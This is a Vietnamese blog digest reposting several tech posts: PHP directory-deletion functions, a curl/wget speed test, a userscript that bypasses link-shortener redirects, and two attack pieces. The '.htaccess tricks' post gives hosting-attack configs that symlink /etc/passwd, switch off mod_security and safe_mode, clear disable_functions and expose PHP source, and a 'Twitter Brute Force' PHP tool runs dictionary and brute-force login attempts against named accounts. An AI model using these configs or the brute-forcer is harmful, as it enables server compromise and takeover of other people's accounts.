Xóa thư mục và file trong một thư mục – PHP Posted: 17 Apr 2015 08:32 AM PDT Trong PHP, do cơ chế bảo mật nên muốn xóa một thư mục, bạn phải xóa hết các tệp có trong thư mục đó trước. Tức là chỉ có thể xóa một thư mục rỗng. Bạn có thể mở rộng thêm function này bằng việc thêm vào việc kiểm tra logic: nếu không phải là thư mục => xóa tệp Mã PHP: <?php function delete_directory($dirname) { if (is_dir($dirname)) $dir_handle = opendir($dirname); if (!$dir_handle) return false; while($file = readdir($dir_handle)) { if ($file != "." && $file != "..") { if (!is_dir($dirname."/".$file)) unlink($dirname."/".$file); else delete_directory($dirname.'/'.$file); } } closedir($dir_handle); rmdir($dirname); return true; } ?> Nhìn function trên khá đơn giản và dễ hiểu phải không? Khoan khoan, đừng vội dùng nó ngay, mà hãy đọc phần dưới đây. Tôi sẽ trình bày một function khác, sử dụng đệ quy và nhìn sẽ gọn nhẹ hơn nhiều. Nếu bạn chưa hiểu đệ quy là gì thì tôi giải thích ngắn gọn như sau: – Một hàm được gọi là hàm đệ quy khi trong quá trình thực hiện nó tự gọi lại chính nó để thực hiện. Muốn chi tiết hơn bạn tìm định nghĩa trên Google nhé. Mã PHP: <?php /* * php delete function that deals with directories recursively */ function delete_files($target) { if(is_dir($target)){ $files = glob( $target . '*', GLOB_MARK ); //GLOB_MARK adds a slash to directories returned foreach( $files as $file ) { delete_files( $file ); } rmdir( $target ); } elseif(is_file($target)) { unlink( $target ); } } ?> Nhìn thấy thông thoáng và dễ hiểu hơn function 1 chứ? ---------- Nguồn www.yeuquangngai.net |
PHP Script WebVideo Posted: 16 Apr 2015 01:18 PM PDT |
thủ thuật .htaccess Posted: 16 Apr 2015 11:24 AM PDT cgitelnet symlink htaccess Code:
symljnk ghi vào file.hack download file.hack về Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*).mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack SSI VIEW SYMLJNK .htaccess Code:
Options +Includes AddType text/html .shtml AddHandler server-parsed .shtml ln -s /et/passwd juno.txt juno.shtml: Code:
<!--#include virtual="juno.txt" --> direct symljnk view file.php dưới dạng file text Code:
options all Options +FollowSymLinks Options Indexes FollowSymLinks DirectoryIndex ssssss.htm AddType text/plain .php AddHandler server-parsed .php Safe mod off Code:
Options +FollowSymLinks DirectoryIndex ssssss.htm Options All Indexes <IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> SetEnv PHPRC /home/user/public_html/php.ini suPHP_ConfigPath /home/user/public_html/php.ini or Code:
Options +ExecCGI AddHandler cgi-script cgi pl cgi love jpg RewriteEngine on RewriteRule (.*)\.mil$ $1.cgi Options +FollowSymLinks DirectoryIndex cmd.html Options +Indexes RemoveHandler .hack AddType text/plain .hack ## milw0rmvn exploit ## php.ini: Code:
safe_mode=Off Disable_Functions=None Open_Basedir=None Safe_Exec_Dir=None Safe_Gid=None Safe_Include_Dir=None Sql.safe_mode=None cURL=Off MySQL=Off MSSQL=Off PostgreSQL=Off Oracle=Off or Code:
<IfModule mod_security.c> SecFilterEngine Off SecFilterSanPOST Off </IfModule> #START # Options +ExecCGI AddHandler cgi-script cgi pl tmt Options +FollowSymLinks DirectoryIndex seees.html Options +Indexes VIEW file.php Code:
Options all DirectoryIndex Sux.html AddType text/plain .php AddHandler server-parsed .php AddType text/plain .html AddHandler txt .html Require None Satisfy Any hạ safe_mode php.ini Code:
safe_mode = Off disable_functions = "" .htaccess Code:
<IfModule mod_security.c> SecFilterEngine Off SecFilterScanPOST Off SecFilterCheckURLEncoding Off SecFilterCheckCookieFormat Off SecFilterCheckUnicodeEncoding Off SecFilterNormalizeCookies Off </IfModule> .htaccess Code:
AddHandler application/x-httpd-php4 .php .php4 .php3 .htaccess Code:
php_flag safe_mode off php_flag disable_functions "" .htaccess Code:
php_admin_value disable_functions "" php_admin_value safe_mode off .htaccess php_value safe_mode off php_value disable_functions "" .htaccess Code:
SetEnv PHPRC /home/user/public_html/php.ini .htaccess Code:
suPHP_ConfigPath /home/user/public_html/php.ini .htaccess Code:
<Files *.php> ForceType application/x-httpd-php4 </Files> nguồn junookyo.blogspot.com ---------- Nguồn www.yeuquangngai.net |
Kiểm tra tốc độ Internet của bạn từ Command Line Posted: 16 Apr 2015 11:19 AM PDT Mọi người muốn kiểm tra tốc độ Internet của họ dễ dàng bằng cách làm điều đó từ một trang web kiểm tra tốc độ như speedtest.net Dưới đây là cách để thực hiện điều đó từ dòng lệnh (Command Line). Chú ý: Nếu bạn đang sử dụng Windows, bạn sẽ cần cài đặt Cygwin hoặc cài đặt cURL hay Wget. Đối với Mac thì bạn có thể sử dụng cURL nhưng nếu bạn thích wget hơn thì bạn sẽ cần cài đặt nó. Kiểm tra tốc độ kết nối mạng với cURL Rất đơn giản, chỉ cần sao chép và dán lệnh sau: curl -o /dev/null http://speedtest.sea01.softlayer.com...ds/test100.zip Điều đầu tiên cần chỉ ra là chúng ta đang sử dụng một tập tin thử nghiệm từ Softlayer, nhưng nếu kết nối mạng của bạn thực sự nhanh thì bạn có thể muốn sử dụng một tập tin lớn hơn từ Thinkbroadband để kiểm tra chính xác hơn. Thứ hai, đó là -o là trường hợp viết thường của ký tự O (nó không phải là số 0). Và chúng ta sẽ xuất tệp tin vào /dev/null, điều đó nghĩa là nó sẽ được tự động xóa. Kiểm tra tốc độ kết nối mạng với Wget Nếu bạn thích sử dụng wget hoặc bạn đã cài đặt nó, thì câu lệnh khá giống nhau. Bằng việc xuất tệp tin ra /dev/null thì bạn cũng không cần phải xóa tệp tin nào sau khi kiểm tra. wget -O /dev/null http://speedtest.sea01.softlayer.com...ds/test100.zip Tệp tin này chỉ có 100 MB, vì thế nếu bạn có một kết nối thực sự nhanh thì bạn sẽ muốn tìm một tệp tin lớn hơn để tải về. Theo Howtogeek.com ---------- Nguồn www.yeuquangngai.net |
Redirect remover Posted: 16 Apr 2015 11:16 AM PDT Code:
// ==UserScript== // @name Redirect remover // @version 1.5.8 // @description Bypass redirected links. // @namespace idmresettrial // @author idmresettrial // @run-at document-end // @require http://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js // @grant none // Website list // @include http://vozforums.com/* // @include http://sinhvienit.net/* // @include http://forum.vietdesigner.net/threads/* // @include http://phienbanmoi.com/* // @include http://muare.vn/* // @include http://www.webtretho.com/* // @include http://adf.ly/* // @include http://q.gs/* // @include http://acer-a500.ru/* // @include http://vegaviet.com/threads/* // @include /^https*:\/\/www.fshare.vn.+/ // @include /^https*:\/\/.+\/.*booking.+london/ // End list // ==/UserScript== this.$ = this.jQuery = jQuery.noConflict(true); // Do not run on frames or iframes if (window.top !== window.self) { return; } document.addEventListener("DOMContentLoaded", function() { site = window.location.hostname; switch (site) { case "vozforums.com": case "sinhvienit.net": case "phienbanmoi.com": case "forum.vietdesigner.net": case "www.webtretho.com": { $('a').each(function() { url = unescape($(this).attr('href')); if (site === "forum.vietdesigner.net") url = unescape(url); redirect = /[?=]http/i; if (redirect.test(url)) { $(this).attr('href',url.replace(/^.+[?=]http/i,"http")); } }); break; } case "adf.ly": case "q.gs": { url=""; if (window.ysmm) { ysmm = window.ysmm; url0 = ""; url1 = ""; for (i=0;i<ysmm.length;i++) { if (i%2===0) { url0 +=ysmm.charAt(i); url1 +=ysmm.charAt(ysmm.length-1-i); } } url = window.atob(url0 + url1); url = url.substring(2,url.length); } if (url.length>0) { window.onbeforeunload = null; window.onunload = null; gogogo(url); } break; } case "acer-a500.ru": case "vegaviet.com": { $('a').each(function() { url = unescape($(this).attr('href')); redirect = {"acer-a500.ru":"http://acer-a500.ru/engine/redir/index/leech_out.php?a:","vegaviet.com":'http://vegaviet.com/redirect/?to='}; if (url.indexOf(redirect[site]) === 0) { $(this).attr('href',window.atob(url.substring(redirect[site].length,url.length))); } }); break; } case "www.fshare.vn": { csrf = $('input[name="fs_csrf"]'); if (csrf.length) { csrf = csrf.attr('value'); data = {speed: 'slow', fs_csrf: csrf}; $.post('/download/index', data).success(function(data){ $('<button class="btn-red free-btn download_btn" style="margin-bottom: 15px; display:none;" id="rrdownload"><div>Tải ngay (Redirect remover)</div></button>').insertBefore('button.download_btn'); $('#rrdownload').fadeIn(); $('#rrdownload').click(function() {window.location.replace(data.url);}); }); } break; } case "muare.vn": { $('a.ProxyLink').removeClass('ProxyLink'); break; } default: { if ( (/^https*:\/\/.+\/.*booking.+london/).test(window.location.href) ) { selector = {"baomoitoday.com":'div[align="center"][style="padding:5px"] a', "travelworld24h.com":"div.cms-content a", "default":"center a"}; if (typeof selector[site] === "undefined") site = "default"; url = $(selector[site]).attr('href'); if (typeof(url) !== 'undefined') gogogo(url); } break; } } }); function gogogo(url) { $('html').html('<html><head><title>'+url+'</title></head><body><h1>Đang chuyển hướng đến trang gốc...</h1></body></html>'); window.location.replace(url); setTimeout(function() { $('body').html(''); }, 2000); } ---------- Nguồn www.yeuquangngai.net |
[PHP] Twitter Brute Force Posted: 16 Apr 2015 10:53 AM PDT [php]<?php ///////////////////////////////////////////////////// ////Twitter Brute Force By Mauritania Attacker////// /////////////////////////////////////////////////// /////////////////////////////////////////////////// ////Changing Description won't make you the Coder/ ///////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// # This script was created to Brute Force Twitter Logins,# #it Uses CURL and 2 Methods of Login attacks (Brute Force and Dictionary) # /////////////////////////////////////////////////////////////////////////// $dic ="pass.txt"; ////////////////////////////////////////////////////////////////////////// echo " <title>Twitter Brute Force By Mauritania Attacker</title> </head> <style type='text/css'> body { font:Verdana, Arial, Helvetica, sans-serif; font-size:12px; border-color:#FFFFFF; } .raster_table { background-color:BLUE; border-color:#CCCCCC; } .alert { color:#FF0000; } </style> <body> <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Twitter Brute Force Mã PHP: By Mauritania Attacker</b></div> </td> </tr> </table> <table cellpadding='0' cellspacing='0' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'> </div> </td> </tr> <tr> <td> <div align='center'> </div> </td> </tr> <tr> <td> <div align='center'> <form method='post'> Target User:<br> <input name='username' type='text' /><br><br> <input name='attack' type='submit' value='dictionary' /> - <input name='attack' type='submit' value='brute' /><br> </form> </div> </td> </tr> <tr> <td> <div align='center'> </div> </td> </tr> </table> "; // Sets variables and retrives twitter error for comparing if(isset($_POST['attack']) && isset($_POST['username'])) { $username = $_POST['username']; $headers = array( "Host: stream.twitter.com", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:23.0) Gecko/20100101 Firefox/23.0", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3", "Accept-Encoding: text", # No gzip, it only clutters your code! "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Date: ".date(DATE_RFC822) ); $c = curl_init('https://stream.twitter.com/1/statuses/filter.json'); curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output! curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised $wrong = curl_exec($c); // Get it curl_close($c); // Close the curl stream } //Dictionary Attack if($_POST['attack'] == "dictionary") { $Dictionary = file("$dic"); for ($Position = 0; $Position < count($Dictionary); $Position++) { $Dictionary[$Position] = str_replace("rn", "", $Dictionary[$Position]); if(check_correct($username, $Dictionary[$Position])) { die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div> </td> </tr> </table> </body> </html>"); } } echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the dictionar y attack.</b></div> </td> </tr> </table>"; } //Brute Attack elseif($_POST['attack'] == "brute") { for ($Pass = 0; $Pass < 2; $Pass++) { if ($Pass == 0){$Pass = "a";} elseif ($Pass == 1){ $Pass = "a"; } if(check_correct($username, $Pass)) { die("<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Found the password of: ".$Dictionary[$Position]."<br> For the account: ".$username."</b></div> </td> </tr> </table> </body> </html>"); } } echo "<table cellpadding='0' cellspacing='0' boreder='1' align='center' class='raster_table' width='75%'> <tr> <td> <div align='center'><b>Sorry... a password was not found for the account of <span class='alert'>".$username."</span> during the brute for ce attack.</b></div> </td> </tr> </table>"; } echo "</body> </html>"; // Function for checking whether the username and password are correct function check_correct($username, $password) { global $wrong, $headers; $c = curl_init('https://'.$username.':'.$password.'@stream.twitter.com/1/statuses/filter.json'); curl_setopt($c, CURLOPT_HTTPAUTH, CURLAUTH_ANY); // use authentication curl_setopt($c, CURLOPT_HTTPHEADER, $headers); // send the headers curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); // We need to fetch something from a string, so no direct output! curl_setopt($c, CURLOPT_FOLLOWLOCATION, 1); // we get redirected, so follow curl_setopt($c, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($c, CURLOPT_SSL_VERIFYHOST, 1); curl_setopt($c, CURLOPT_UNRESTRICTED_AUTH, 1); // always stay authorised $str = curl_exec($c); // Get it curl_close($c); if($str != $wrong) {return true;} else {return false;} } ?> ---------- Nguồn www.yeuquangngai.net |